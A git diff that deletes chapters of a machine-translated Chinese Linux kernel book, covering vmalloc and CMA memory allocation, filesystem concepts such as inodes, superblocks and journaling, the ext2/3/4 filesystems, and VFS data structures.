* Allocate enough pages to cover @size from the page level - * allocator and map them into contiguous kernel virtual space. - * The memory allocated is set to zero. - * - */ - void *vzalloc(unsigned long size) -/** - * vmalloc_user - allocate zeroed virtually contiguous memory for userspace - * @size: allocation size - * The resulting memory area is zeroed so it can be mapped to userspace - * without leaking data. - */ - void *vmalloc_user(unsigned long size) /** - * vmalloc_node - allocate memory on a specific node - * @size: allocation size - * @node: numa node - * Allocate enough pages to cover @size from the page level - * allocator and map them into contiguous kernel virtual space. - * - */ - void *vmalloc_node(unsigned long size, int node) /** - * vfree - release memory allocated by vmalloc() - * @addr: memory base address - * Free the virtually continuous memory area starting at @addr, as - * obtained from vmalloc(), vmalloc_32() or __vmalloc(). If @addr is - * NULL, no operation is performed. - */ - void vfree(const void *addr) /** - * vfree_atomic - release memory allocated by vmalloc() - * @addr: memory base address - * This one is just like vfree() but can be called in any atomic context except NMIs. - */ - void vfree_atomic(const void *addr) -``` - -大多数内核开发人员避免分配 vmalloc 的原因是分配开销(因为这些开销不是身份映射的,需要特定的页表调整,从而导致 TLB 刷新)和访问操作期间涉及的性能损失。 - -# 连续内存分配器(CMA) - -尽管开销很大,但虚拟映射分配在更大程度上解决了大内存分配的问题。 但是,有几种情况要求分配物理上连续的缓冲区。 DMA 传输就是这样一种情况。 设备驱动程序经常发现非常需要物理上连续的缓冲区分配(用于设置 DMA 传输),这是通过前面讨论的任何物理上连续的分配器来执行的。 - -然而,与特定类别的设备(如多媒体)打交道的驱动程序通常会发现自己在搜索巨大的连续内存块。 为此,多年来,这样的驱动程序一直通过内核参数`mem`在系统引导期间*保留*内存,该参数允许在引导时留出足够的连续内存,这些内存可以在驱动程序运行时*重新映射*到线性地址空间。 虽然这一策略很有价值,但也有其局限性:首先,当相应的设备没有启动访问操作时,这种保留的存储器暂时处于未使用状态;其次,根据要支持的设备的数量,保留的存储器的大小可能会大幅增加,这可能会由于物理存储器紧张而严重影响系统性能。 - -**连续内存分配器**(**CMA**)是为有效管理*保留的*内存而引入的内核机制。 *CMA*的关键是在分配器算法下引入*保留的*内存,这种内存称为*CMA 区域。 CMA*允许从*CMA 区域*分配设备和系统。 这是通过为保留存储器中的页面构建页面描述符列表并将其枚举到伙伴系统中来实现的,这使得能够通过页面分配器为常规需要(内核子系统)以及通过用于设备驱动程序的 DMA 分配例程分配*CMA 页面*。 - -但是,*、*必须确保 DMA 分配不会因为将*CMA 页*用于其他目的而失败,这是通过我们前面讨论过的`migratetype`属性来注意的。 将 CMA 列举到伙伴系统中的页面分配给`MIGRATE_CMA`属性,该属性指示页面是可移动的*。* 在为非 DMA 目的分配内存时*,*页面分配器只能将 CMA 页面用于可移动分配(回想一下,此类分配可以通过`__GFP_MOVABLE`标志进行)。 当 DMA 分配请求到达时,内核分配持有的 CMA 页被*移出*保留区域(通过页迁移机制),从而获得可供设备驱动程序使用的内存。 此外,当为 DMA 分配页面时,它们的*迁移类型*从`MIGRATE_CMA`变为`MIGRATE_ISOLATE`,使它们对伙伴系统不可见。 - -*CMA 区域*的大小可以在内核构建期间通过其配置接口选择;或者,也可以通过内核参数`cma=`传递。 - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -我们已经遍历了 Linux 内核最关键的方面之一,理解了内存表示和分配的各种细微差别。 通过理解这个子系统,我们也简洁地捕捉到了内核的设计敏锐性和实现效率,更重要的是,我们理解了内核在适应更精细、更新的启发式规则和机制以进行持续增强方面的动态性。 除了内存管理的细节之外,我们还衡量了内核在以最低成本最大化资源使用方面的效率,引入了所有经典的代码重用机制和模块化代码结构。 - -尽管内存管理的细节可能会因底层体系结构的不同而有所不同,但设计和实现风格的一般性基本保持不变,以实现代码稳定性和对更改的敏感度。 - -在下一章中,我们将进一步了解内核的另一个基本抽象:*文件。* 我们将深入了解文件 I/O,并探索其体系结构和实施细节。** \ No newline at end of file diff --git a/docs/master-linux-kernel-dev/05.md b/docs/master-linux-kernel-dev/05.md deleted file mode 100644 index 9dd5e6fa..00000000 --- a/docs/master-linux-kernel-dev/05.md +++ /dev/null @@ -1,773 +0,0 @@ -# 五、文件系统和文件 I/O - -到目前为止,我们已经遍历了内核的基本资源,例如地址空间、处理器时间和物理内存。 我们已经建立了对*进程管理*、*CPU 调度、*和*内存管理*以及它们提供的关键抽象的经验理解。 在本章中,我们将继续通过查看内核提供的另一个关键抽象(*文件 I/O 体系结构)来建立我们的理解。* 我们将详细介绍以下方面: - -* 文件系统实施 -* 文件 I/O -* VFS -* VFS 数据结构 -* 特殊文件系统 - -计算系统存在的唯一目的是处理数据。 大多数算法的设计和编程都是为了从采集的数据中提取所需的信息。 为这一过程提供动力的数据必须永久存储以供连续访问,从而要求设计的存储系统能够在更长时间内安全地包含信息。 然而,对于用户来说,从这些存储设备获取数据并使其可供处理的是操作系统。 内核的文件系统就是服务于此目的的组件。 - -# 文件系统-高级视图 - -**Filessystems**从用户抽象存储设备的物理视图,并通过称为**文件和目录**的抽象容器为系统的每个有效用户虚拟化磁盘上的存储区域。 **文件**充当用户数据的容器,而**目录**充当一组用户文件的容器。 简而言之,操作系统将每个用户的存储设备视图虚拟化为一组目录和文件。 文件系统服务实现创建、组织、存储和检索文件的例程,用户应用通过适当的系统调用接口调用这些操作。 - -我们将从查看用于管理标准磁盘的简单文件系统的布局开始讨论。 此讨论将帮助我们从总体上理解与磁盘管理相关的关键术语和概念。 然而,典型的文件系统实现涉及描述磁盘上文件数据的组织的适当数据结构,以及使应用能够执行文件 I/O 的操作。 - -# 诠释数据 - -存储磁盘通常由大小相同的物理块组成,称为**个扇区**;扇区的大小通常为 512 字节或倍数,具体取决于存储类型和容量。 扇区是磁盘上 I/O 的最小单位。 当磁盘呈现给文件系统进行管理时,它将存储区域视为固定大小的**个块**的阵列,其中每个块与一个扇区或扇区大小的倍数相同。 典型的默认数据块大小为 1024 字节,可能会因磁盘容量和文件系统类型而异。 文件系统将数据块大小视为 I/O 的最小单位: - -![](img/00031.jpeg) - -# 索引节点(索引节点) - -文件系统需要维护元数据来标识和跟踪用户创建的每个文件和目录的各种属性。 描述文件的元数据有几个元素,例如文件名、文件类型、上次访问时间戳、所有者、访问权限、上次修改时间戳、创建时间、文件数据大小以及对包含文件数据的磁盘块的引用。 通常,文件系统定义一个称为 inode 的结构来包含文件的所有元数据。 Inode 中包含的信息的大小和类型是特定于文件系统的,并且可能会因其支持的功能而大不相同。 每个 inode 由称为**索引**的唯一编号标识,该编号被视为文件的低级名称: - -![](img/00032.jpeg) - -文件系统保留几个磁盘块用于存储 inode 实例,其余的用于存储相应的文件数据。 为存储信息节点保留的数据块数量取决于磁盘的存储容量。 索引节点块中保存的节点的磁盘列表称为**索引节点表**。 文件系统需要跟踪索引节点和数据块的状态以识别空闲块。 这通常是通过**位图**实现的,一个用于跟踪空闲索引节点的位图和另一个用于跟踪空闲数据块*的位图。* 下图显示了具有位图、信息节点和数据块的典型布局: - -![](img/00033.jpeg) - -# 数据块映射 - -如前所述,每个索引节点都应该记录存储相应文件数据的数据块的位置。 根据文件数据的长度,每个文件可能占用*n*个数据块。 有多种方法用于跟踪 inode 中的数据块细节;最简单的方法是**直接引用**,它涉及包含指向文件数据块的**个直接指针**的 inode。 这样的**个直接指针**的数量取决于文件系统设计,并且大多数实现选择使用较少的字节来使用这样的指针。 此方法对于跨几个数据块(通常为<16k)的小文件非常有效,但缺乏对跨多个数据块的大文件的支持: - -![](img/00034.jpeg) - -为了支持大文件,文件系统采用一种称为**多级索引**的替代方法,该方法涉及间接指针。 最简单的实现是在 inode 结构中有一个间接指针和几个直接指针。 **间接指针**指的是包含指向文件的数据块的**直接指针**的块。 当文件变得太大而无法通过索引节点的直接指针引用时,空闲数据块与直接指针接合,索引节点的间接指针引用它。 由间接指针引用的数据块被称为**间接块**。 间接块中的直接指针数可以通过块大小除以块地址的大小来确定;例如,在具有 4 字节(32 位)宽块地址和 1024 个块大小的 32 位文件系统上,每个间接块最多可以包含 256 个条目,而在具有 8 字节(64 位)宽块地址的 64 位文件系统中,每个间接块最多可以包含 128 个直接指针: - -![](img/00035.jpeg) - -通过使用**双间接指针**,可以进一步支持更大的文件,指的是包含间接指针的块,每个条目指的是包含直接指针的块**。** 假设 64 位文件系统具有 1024 个块大小,每个块容纳 128 个条目,则每个块将有 128 个间接指针,每个间接指针指向包含 128 个直接指针的块;因此,使用此技术,文件系统可以支持最多可跨越 16384(128x128)个数据块(16MB)的文件。 - -此外,可以使用**三重间接指针**扩展该技术,从而使文件系统可以管理更多的元数据。 然而,尽管有多级索引**,**增加文件系统块大小并减少块地址大小是支持更大文件的最推荐和最有效的解决方案。 用户在使用文件系统初始化磁盘时需要选择适当的块大小,以确保正确支持较大的文件。 - -一些文件系统使用另一种称为扩展区的方法在 inode 中存储数据块信息。 **范围**是一个指针,它引用具有附加长度位的起始数据块(类似于直接指针),该长度位指定存储文件数据的连续块的计数。 根据文件大小和磁盘碎片级别的不同,单个扩展区可能不足以引用文件的所有数据块,并且要处理此类事件,文件系统构建**扩展区列表**,每个扩展区引用磁盘上一个连续数据块区域的起始地址和长度。 - -扩展区方法减少了文件系统存储大量数据块映射所需管理的元数据,但这是以牺牲文件系统操作的灵活性为代价的。 例如,考虑在大文件的特定文件位置执行读取操作:要定位指定文件偏移量位置的数据块,文件系统必须从第一个盘区开始扫描列表,直到找到覆盖所需文件偏移量的盘区。 - -# 目录 / 名录 - -文件系统将目录视为特殊文件。 它们表示具有磁盘索引节点的目录或文件夹。 它们通过标记为**目录**的**类型**字段与普通文件索引节点区分开来。 每个目录都分配了数据块,其中包含有关其包含的文件和子目录的信息。 目录维护文件记录,每个记录都包括文件名(不超过文件系统命名策略定义的特定长度的名称字符串)和与文件关联的信息节点号。 为实现高效管理,文件系统实现通过适当的数据结构(如二叉树、列表、基数树和哈希表)定义目录中包含的文件记录的布局: - -![](img/00036.jpeg) - -# 超级块 - -除了存储捕获单个文件的元数据的 inode 外,文件系统还需要维护与整个磁盘卷相关的元数据,例如卷的大小、总块数、文件系统的当前状态、inode 块的计数、inode 的计数、数据块的计数、起始 inode 块号和标识的文件系统签名(幻数)。 这些细节被捕获在名为**超级块**的数据结构中。 在磁盘卷上的文件系统初始化期间,超级块是在磁盘存储开始时组织的。 下图说明了带超级数据块的磁盘存储的完整布局: - -![](img/00037.jpeg) - -# 运营 - -虽然**数据结构**是文件系统设计的基本组成部分,但对这些数据结构进行可能的操作以呈现文件访问和操作操作构成了核心功能集。 支持的操作数量和功能类型因文件系统实施而异。 以下是大多数文件系统提供的几个常见操作的一般描述。 - -# 装载和卸载操作 - -**mount**是将磁盘上的超级块和元数据枚举到内存中以供文件系统使用的操作。 该过程创建描述文件元数据的内存中数据结构,并向主机操作系统呈现卷中的目录和文件布局的视图。 执行装载操作是为了检查磁盘卷的一致性。 如前所述,**超级块**包含文件系统的状态;它指示卷是*一致*还是*脏*。 如果卷是干净的或一致的,装载操作将会成功,如果卷被标记为脏的或不一致的,它将返回相应的失败状态。 - -突然关机会导致文件系统状态变脏*,*,并且需要进行一致性检查,然后才能将其标记为再次使用*。* 一致性检查所采用的机制既复杂又耗时;此类操作是特定于文件系统实现的,大多数简单的操作提供了特定的一致性和检查工具,而其他现代实现则使用日志记录。 - -**unmount**是将文件系统数据结构的内存状态刷新回磁盘的操作。 此操作将导致所有元数据和文件缓存与磁盘块同步。 卸载将超级块中的文件系统状态标记为一致,表示正常关闭。 换句话说,在执行卸载之前,磁盘上的超级数据块状态一直是脏的。 - -# 文件创建和删除操作 - -**创建文件**是需要实例化具有适当属性的新索引节点的操作。 用户程序使用选定的属性(如文件名、要创建文件的目录、各种用户的访问权限和文件模式)调用文件创建例程。 此例程还初始化 inode 的其他特定字段,如创建时间戳和文件所有权信息。 此操作将一个新的文件记录写入目录块,描述文件名和信息节点号。 - -当用户应用对有效文件启动`delete`操作时,文件系统会从目录中删除相应的文件记录,并检查该文件的引用计数以确定当前使用该文件的进程数。 从目录中删除文件记录可防止其他进程打开标记为删除的文件。 当关闭对文件的所有当前引用时,通过将文件的数据块返回到空闲数据块列表,并将索引节点返回到空闲索引节点列表,释放分配给该文件的所有资源。 - -# 文件打开和关闭操作 - -当用户进程试图打开文件时,它会使用适当的参数(包括文件的路径和名称)调用文件系统的`open`操作。 文件系统遍历路径中指定的目录,直到到达包含所请求文件记录的直接父目录。 查找文件记录会生成指定文件的 inode 编号。 然而,查找操作的特定逻辑和效率取决于特定文件系统实现为组织目录块中的文件记录而选择的数据结构。 - -一旦文件系统检索到文件的相关 inode 号,它就会启动适当的健全性检查,以对调用上下文实施访问控制验证。 如果清除了调用方进程的文件访问权限,则文件系统会实例化名为**文件描述符**的内存中结构,以维护文件访问状态和属性。 成功完成后,open 操作将文件描述符结构的引用返回给调用者进程,该引用充当调用者进程启动其他文件操作(如`read`、`write`和`close`)的文件句柄。 - -在启动`close`操作时,文件描述符结构被销毁,文件的引用计数递减。 调用方进程将不再能够启动任何其他文件操作,直到它可以重新打开该文件。 - -# 文件读写操作 - -当用户应用使用适当的参数在文件上启动*read*时,将调用底层文件系统的`read`例程。 操作从查找文件的数据块映射开始,以定位要读取的适当数据磁盘扇区;然后,它从页面缓存分配一页并调度磁盘 I/O。在 I/O 传输完成后,文件系统将请求的数据移动到应用的缓冲区中,并更新调用方的文件描述符结构中的文件偏移量位置。 - -类似地,文件系统的`write`操作检索从用户缓冲区传递的数据,并将其写入页面缓存中文件缓冲区的适当偏移量,并使用`PG*_*dirty`标志标记页面。 但是,当调用`write`操作在文件末尾追加数据时,文件可能需要新的数据块才能增长。 在继续*写入*之前,文件系统在磁盘上查找空闲数据块,并为该文件分配它们。 分配新数据块需要更改 inode 结构的数据块映射,并从映射到分配的新数据块的页面缓存分配新页面。 - -# 附加特征 - -尽管文件系统的基本组件仍然相似,但数据的组织方式和访问数据的启发式方法取决于实现。 设计者考虑诸如**可靠性**、**安全性**、**类型**和**存储卷容量**以及**I/O 效率**等因素来识别和支持增强文件系统能力的功能。 以下是现代文件系统支持的几个扩展功能。 - -# 扩展文件属性 - -由文件系统实现跟踪的一般文件属性在索引节点中维护,并由适当的操作解释。 扩展文件属性是一种功能,使用户能够定义文件的自定义元数据,文件系统不会对其进行解释。 这些属性通常用于存储取决于文件包含的数据类型的各种类型的信息。 例如,文档文件可以定义作者姓名和联系方式,Web 文件可以指定文件的 URL 和其他与安全相关的属性,如数字证书和加密散列密钥。 与普通属性类似,每个扩展属性由**名称**和**值**标识。 理想情况下,*、*大多数文件系统不会对此类扩展属性的数量施加限制。 - -一些文件系统还提供了**索引**属性的功能,这有助于快速查找所需类型的数据,而不必导航文件层次结构。 例如,假设文件被分配有称为**关键字***、*的扩展属性,该扩展属性记录描述文件数据的关键字值。 有了索引,用户可以发出查询,通过适当的脚本查找与特定关键字匹配的文件列表,而不考虑文件的位置。 因此,索引为文件系统提供了一个强大的替代接口。 - -# 文件系统一致性和崩溃恢复 - -**磁盘映像的一致性**对于文件系统的可靠运行至关重要。 当文件系统处于更新其磁盘结构的过程中时,极有可能发生灾难性错误(断电、操作系统崩溃等),从而导致部分提交的关键更新中断。 这会导致磁盘结构损坏,并使文件系统处于不一致的状态。 通过采用有效的崩溃恢复策略来处理此类事件,是大多数文件系统设计人员面临的主要挑战之一。 - -一些文件系统通过专门设计的文件系统一致性检查工具(如**fsck**(广泛使用的 Unix 工具))处理崩溃恢复。 它在挂载前的系统引导时运行,扫描磁盘上的文件系统结构以查找不一致之处,并在发现时进行修复。 一旦完成,磁盘上的文件系统状态将恢复到一致状态,系统继续执行`mount`操作,从而使用户可以访问磁盘。 该工具分多个阶段执行其操作,在每个阶段密切检查每个磁盘结构(如超级块、索引节点块、空闲块)的一致性,检查各个索引节点的有效状态、目录检查和坏块检查。 虽然它提供了急需的崩溃恢复,但它也有其缺点:在大型磁盘卷上完成这种分阶段操作可能会消耗大量时间,这直接影响系统的引导时间。 - -**日志记录**是大多数现代文件系统实现用于快速可靠的崩溃恢复的另一种技术。 通过为崩溃恢复编程适当的文件系统操作来强制执行此方法。 其想法是准备一个**日志**(注),列出要提交给文件系统的磁盘映像的更改,并在开始实际的更新操作*之前,将日志写入一个称为**日志块**的特殊磁盘块。* 这确保了在实际更新期间发生崩溃时,文件系统可以很容易地检测到不一致,并通过查看日志中记录的信息来修复它们*。* 因此,通过略微扩展在更新期间完成的工作,日志文件系统的实现消除了对乏味且昂贵的磁盘扫描任务的需要。 - -# 访问控制列表(ACL) - -为所有者、所有者所属的组和其他用户指定访问权限的默认文件和目录访问权限在某些情况下不提供所需的细粒度控制。 ACL 是一种功能,它使扩展机制能够为各种进程和用户指定文件访问权限。 此功能将所有文件和目录视为对象,并允许系统管理员为每个文件和目录定义访问权限列表。 ACL 包括对具有访问权限的对象的有效操作,以及对指定对象的每个用户和系统进程的限制。 - -# Linux 内核中的文件系统 - -既然我们已经熟悉了与文件系统实现相关的基本概念,我们将探索 Linux 系统支持的文件系统服务。 内核的文件系统分支实现了许多文件系统服务,这些服务支持多种文件类型。 根据它们管理的文件类型,内核的文件系统可以大致分类为: - -1. 存储文件系统 -2. 特殊文件系统 -3. 分布式文件系统或网络文件系统 - -我们将在本章的后面部分讨论特殊的文件系统。 - -* **存储文件系统**:内核支持各种持久存储文件系统,根据它们要管理的存储设备类型,这些文件系统可以大致分为不同的组。 -* **磁盘文件系统**:这一类别包括内核支持的各种标准存储磁盘文件系统,其中包括 Linux 原生 EXT 系列磁盘文件系统,如 ext2、ext3、ext4、ReiserFS 和 Btrfs;Unix 变体,如 sysv 文件系统、UFS 和 Minix 文件系统;Microsoft 文件系统,如 MS-DOS、VFAT 和 NTFS;其他专有文件系统,如 IBM 的 OS/2(。 以及像 IBM 的 JFS 和 SGI 的 XFS 这样的日志文件系统。 -* **可移动媒体文件系统**:这一类别包括为 CD、DVD 和其他可移动存储媒体设备设计的文件系统,例如 ISO9660CD-ROM 文件系统和通用磁盘格式(UDF)DVD 文件系统,以及 Linux 发行版的 live CD 映像中使用的 squashfs。 -* **半导体存储文件系统**:这一类别包括为原始闪存和其他需要支持损耗均衡和擦除操作的半导体存储设备设计和实现的文件系统。 当前支持的文件系统集包括 UBIFS、JFFS2、CRAMFS 等。 - -我们将简要讨论内核中的几个本机磁盘文件系统,这些文件系统默认用于 Linux 的各种发行版。 - -# EXT 系列文件系统 - -Linux 内核的初始版本使用 Minix 作为默认的本机文件系统,该文件系统是为在 Minix 内核中用于教育目的而设计的,因此具有许多使用限制。 随着内核的成熟,内核开发人员构建了一个新的用于磁盘管理的本机文件系统,称为**扩展文件系统***。* *ext*的设计深受标准 Unix 文件系统 UFS 的影响。 由于各种实现限制和效率低下,原来的 ext 很短暂,很快就被名为**第二个扩展文件系统**(**ext2**)*的改进、稳定和高效的版本所取代。* ext2 文件系统在相当长一段时间内一直是默认的原生文件系统(直到 2001 年,Linux 内核发布了 2.4.15 版)。 - -后来,磁盘存储技术的快速发展导致存储容量和存储硬件效率的大幅提高。 为了利用存储硬件提供的特性,内核社区对*ext2*的分支进行了适当的设计改进,并添加了最适合特定存储类别的特性。 当前版本的 Linux 内核包含三个版本的扩展文件系统,分别称为 ext2、ext3 和 ext4。 - -# Ext2 - -Ext2 文件系统最早是在内核版本 0.99.7(1993)中引入的。 它保留了具有回写缓存的经典 UFS(Unix 文件系统)的核心设计,从而实现了更短的周转时间和更高的性能。 尽管它的实施支持 2 TB 到 32 TB 的磁盘卷和 16 GB 到 2 TB 的文件大小,但由于 2.4 内核中的块设备和应用施加了限制,它的使用被限制为最多 4 TB 的磁盘卷和 2 GB 的最大文件大小。 它还包括通过一致性检查工具 fsck 支持 ACL、文件内存映射和崩溃恢复。 Ext2 将物理磁盘扇区划分为固定大小的块组。 为每个块组构建文件系统布局,每个块组具有完整的超级块、空闲块位图、索引节点位图、索引节点和数据块。 因此,每个数据块组看起来都像一个微型文件系统。 此设计帮助*fsck*在大型磁盘上进行更快的一致性检查。 - -# Ext3 - -也称为**Third Extended FileSystem**,它使用日志记录扩展了 ext2 的功能。 它保留了具有块组的 ext2 的整个结构,从而实现了 ext2 分区到 ext3 类型的无缝转换。 如前所述,日志记录会导致文件系统将更新操作的详细信息记录到称为日志块的特定磁盘区域中;这些日志有助于加快崩溃恢复,并确保文件系统的一致性和可靠性。 然而,在日志文件系统上,磁盘更新操作可能会变得昂贵,因为写操作速度较慢或时间可变(由于日志日志),这将直接影响常规文件 I/O 的性能。作为一种解决方案,ext3 提供了日志配置选项,系统管理员或用户可以通过这些选项选择要记录到日志中的特定类型的信息。 这些配置选项称为**日志记录模式**。 - -1. **日志模式**:此模式使文件系统将文件数据和元数据更改记录到日志中。 这会增加磁盘访问,从而最大限度地提高文件系统一致性,从而导致更新速度变慢。 此模式会导致日志消耗额外的磁盘块,并且是最慢的 ext3 日志记录模式。 -2. **有序模式**:该模式仅将文件系统元数据记录到日志中,但它保证在将相关元数据提交到日志块之前将相关文件数据写入磁盘。 这可确保文件数据有效;如果在执行文件写入时发生崩溃,日志将指示附加的数据尚未提交,从而导致清理过程对此类数据执行清除操作。 这是 ext3 的默认日志记录模式。 - -3. **回写模式**:这类似于仅有元数据日志记录的有序模式,不同之处在于相关文件内容可能会在元数据提交到日志之前或之后写入磁盘。 这可能会导致文件数据损坏。 例如,假设要附加到的文件在实际文件写入之前可能在日志中标记为*COMMITTED*:如果在文件附加操作过程中发生崩溃,则日志会建议该文件大于其实际大小。 此模式速度最快,但会将文件数据的可靠性降至最低。 许多其他日志记录文件系统(如 JFS)都使用这种日志记录模式,但请确保在重新引导时将由于未写入数据而导致的任何*垃圾*清零。 - -所有这些模式在元数据的一致性方面都有类似的效果,但在文件和目录数据的一致性方面有所不同,日志模式可确保最大的安全性,但文件数据损坏的可能性最小,而回写模式提供的安全性最低,但损坏的风险很高。 管理员或用户可以在 ext3 卷的挂载操作期间调优适当的模式。 - -# Ext4 - -Ext4 作为具有增强功能的 ext3 的替代品实现,首次出现在内核 2.6.28(2008)中。 它完全向后兼容 ext2 和 ext3,任何一种类型的卷都可以作为 ext4 挂载。 这是大多数当前 Linux 发行版上的默认 EXT 文件系统。 它使用**个日志校验和**扩展了 ext3 的日志记录功能,从而提高了可靠性。 它还为文件系统元数据添加校验和,并支持透明加密,从而增强了文件系统的完整性和安全性。 其他功能包括支持有助于减少碎片的扩展区*、*、永久预分配磁盘块(允许为媒体文件分配连续块)、支持存储容量高达 1 艾字节(EIB[)](https://en.wikipedia.org/wiki/Exbibyte)的磁盘卷和大小高达 16 字节(TiB)的文件。 - -# 通用文件系统接口 - -不同文件系统和存储分区的存在导致每个文件系统维护其不同于其他文件系统的文件和数据结构树。 在挂载时,每个文件系统都需要将其内存中的文件树与其他文件系统隔离管理,从而导致系统用户和应用的文件树视图不一致。 这使得内核对各种文件操作(如打开、读取、写入、复制和移动)的支持变得复杂。 作为解决方案,Linux 内核(与许多其他 Unix 系统一样)采用了一个称为**虚拟文件系统(VFS)**的抽象层,该抽象层使用一个公共接口隐藏所有文件系统实现。 - -VFS 层构建一个名为**rootfs**的公共文件树,在该树下,所有文件系统都可以枚举它们的目录和文件。 这使得具有不同磁盘表示的所有特定于文件系统的子树能够统一并作为单个文件系统呈现。 系统用户和应用对文件树具有一致、同构的视图,这使得内核可以灵活地定义一组简化的通用系统调用,应用可以使用这些调用来执行文件 I/O,而不考虑底层文件系统及其表示。 由于 API 有限且灵活,此模型确保了应用设计的简单性,并实现了文件从一个磁盘分区或文件系统树到另一个磁盘分区或文件系统树的无缝复制或移动,而无需考虑底层的不同之处。 - -下图描述了虚拟文件系统: - -![](img/00038.jpeg) - -VFS 定义了两组函数:第一,一组与文件系统无关的通用例程,用作所有文件访问和操作操作的公共入口函数;第二,一组特定于文件系统的抽象操作接口。 每个文件系统定义其操作(根据其文件和目录的概念),并将它们映射到提供的抽象接口,并且对于虚拟文件系统,这使得 VFS 能够通过动态切换到底层文件系统特定的功能来处理文件 I/O 请求。 - -# VFS 结构和操作 - -破译 VFS 的关键对象和数据结构可以让我们更清楚地了解 VFS 如何在内部与文件系统协同工作,并实现至关重要的抽象。 以下是编织整个抽象网络的四个基本数据结构: - -* `struct super_block`--包含有关已挂载的特定文件系统的信息 -* `struct inode`--表示特定文件 -* `struct dentry`--表示目录条目 -* `struct file`--表示已打开并链接到进程的文件 - -所有这些数据结构都绑定到文件系统定义的适当抽象操作接口。 - -# 结构超级块 - -VFS 通过该结构定义了超级块的通用布局。 每个文件系统都需要实例化此结构的一个对象,以在挂载期间填充其超级块详细信息。 换句话说,这种结构将特定于文件系统的超级块从内核的其余部分中抽象出来,并帮助 VFS 通过`struct super_block`列表跟踪所有挂载的文件系统。 不具有持久超块结构的伪文件系统将动态生成超块。 超级块结构(`struct super_block`)在``中定义: - -```sh -struct super_block { - struct list_head s_list; /* Keep this first */ - dev_t s_dev; /* search index; _not_ kdev_t */ - unsigned char s_blocksize_bits; - unsigned long s_blocksize; - loff_t s_maxbytes; /* Max file size */ - struct file_system_type *s_type; - const struct super_operations *s_op; - const struct dquot_operations *dq_op; - const struct quotactl_ops *s_qcop; - const struct export_operations *s_export_op; - unsigned long s_flags; - unsigned long s_iflags; /* internal SB_I_* flags */ - unsigned long s_magic; - struct dentry *s_root; - struct rw_semaphore s_umount; - int s_count; - atomic_t s_active; - #ifdef CONFIG_SECURITY - void *s_security; - #endif - const struct xattr_handler **s_xattr; - const struct fscrypt_operations *s_cop; - struct hlist_bl_head s_anon; - struct list_head s_mounts;/*list of mounts;_not_for fs use*/ - struct block_device *s_bdev; - struct backing_dev_info *s_bdi; - struct mtd_info *s_mtd; - struct hlist_node s_instances; - unsigned int s_quota_types; /*Bitmask of supported quota types */ - struct quota_info s_dquot; /* Diskquota specific options */ - struct sb_writers s_writers; - char s_id[32]; /* Informational name */ - u8 s_uuid[16]; /* UUID */ - void *s_fs_info; /* Filesystem private info */ - unsigned int s_max_links; - fmode_t s_mode; - - /* Granularity of c/m/atime in ns. - Cannot be worse than a second */ - u32 s_time_gran; - - struct mutex s_vfs_rename_mutex; /* Kludge */ - - /* - * Filesystem subtype. If non-empty the filesystem type field - * in /proc/mounts will be "type.subtype" - */ - char *s_subtype; - - /* - * Saved mount options for lazy filesystems using - * generic_show_options() - */ - char __rcu *s_options; - const struct dentry_operations *s_d_op; /*default op for dentries*/ - /* - * Saved pool identifier for cleancache (-1 means none) - */ - int cleancache_poolid; - - struct shrinker s_shrink; /* per-sb shrinker handle */ - - /* Number of inodes with nlink == 0 but still referenced */ - atomic_long_t s_remove_count; - - /* Being remounted read-only */ - int s_readonly_remount; - - /* AIO completions deferred from interrupt context */ - struct workqueue_struct *s_dio_done_wq; - struct hlist_head s_pins; - - /* - * Owning user namespace and default context in which to - * interpret filesystem uids, gids, quotas, device nodes, - * xattrs and security labels. - */ - struct user_namespace *s_user_ns; - - struct list_lru s_dentry_lru ____cacheline_aligned_in_smp; - struct list_lru s_inode_lru ____cacheline_aligned_in_smp; - struct rcu_head rcu; - struct work_struct destroy_work; - - struct mutex s_sync_lock; /* sync serialisation lock */ - - /* - * Indicates how deep in a filesystem stack this SB is - */ - int s_stack_depth; - - /* s_inode_list_lock protects s_inodes */ - spinlock_t s_inode_list_lock ____cacheline_aligned_in_smp; - struct list_head s_inodes; /* all inodes */ - - spinlock_t s_inode_wblist_lock; - struct list_head s_inodes_wb; /* writeback inodes */ - }; -``` - -超级块结构包含定义和扩展超级块的信息和功能的其他结构。 以下是`super_block`的一些元素: - -* `s_list`的类型为`struct list_head`,并包含指向已安装的超级块列表的指针 -* `s_dev`是设备标识符 -* `s_maxbytes`包含最大文件大小 -* `s_type`是`struct file_system_type`类型的指针,它描述文件系统类型 -* `s_op`是`struct super_operations`类型的指针,包含对超级块的操作 -* `s_export_op`的类型为`struct export_operations`,有助于文件系统可导出,以便远程系统使用网络文件系统进行访问 -* `s_root`是`struct dentry`类型的指针,指向文件系统根目录的 dentry 对象 - -每个枚举的超级块实例都包含一个指向函数指针抽象结构的指针,函数指针定义了超级块操作的接口。 文件系统将需要实现它们的超级块操作,并将它们分配给适当的函数指针。 这有助于每个文件系统按照其磁盘上超级块的布局实现超级块操作,并将该逻辑隐藏在公共接口下。 `Struct super_operations`在``中定义: - -```sh -struct super_operations { - struct inode *(*alloc_inode)(struct super_block *sb); - void (*destroy_inode)(struct inode *); - - void (*dirty_inode) (struct inode *, int flags); - int (*write_inode) (struct inode *, struct writeback_control *wbc); - int (*drop_inode) (struct inode *); - void (*evict_inode) (struct inode *); - void (*put_super) (struct super_block *); - int (*sync_fs)(struct super_block *sb, int wait); - int (*freeze_super) (struct super_block *); - int (*freeze_fs) (struct super_block *); - int (*thaw_super) (struct super_block *); - int (*unfreeze_fs) (struct super_block *); - int (*statfs) (struct dentry *, struct kstatfs *); - int (*remount_fs) (struct super_block *, int *, char *); - void (*umount_begin) (struct super_block *); - - int (*show_options)(struct seq_file *, struct dentry *); - int (*show_devname)(struct seq_file *, struct dentry *); - int (*show_path)(struct seq_file *, struct dentry *); - int (*show_stats)(struct seq_file *, struct dentry *); - #ifdef CONFIG_QUOTA - ssize_t (*quota_read)(struct super_block *, int, char *, size_t, loff_t); - ssize_t (*quota_write)(struct super_block *, int, const char *, size_t, loff_t); - struct dquot **(*get_dquots)(struct inode *); - #endif - int (*bdev_try_to_free_page)(struct super_block*, struct page*, gfp_t); - long (*nr_cached_objects)(struct super_block *, - struct shrink_control *); - long (*free_cached_objects)(struct super_block *, - struct shrink_control *); - }; -``` - -此结构中的所有元素都指向在超块对象上操作的函数。 除非指定,否则所有这些操作都只能从进程上下文调用,并且不会持有任何锁。 下面我们来看几个重要的例子: - -* `alloc_inode`:此方法用于为新的 inode 对象创建和分配空间,并在超级块下对其进行初始化。 -* `destroy_inode`:这会销毁给定的 inode 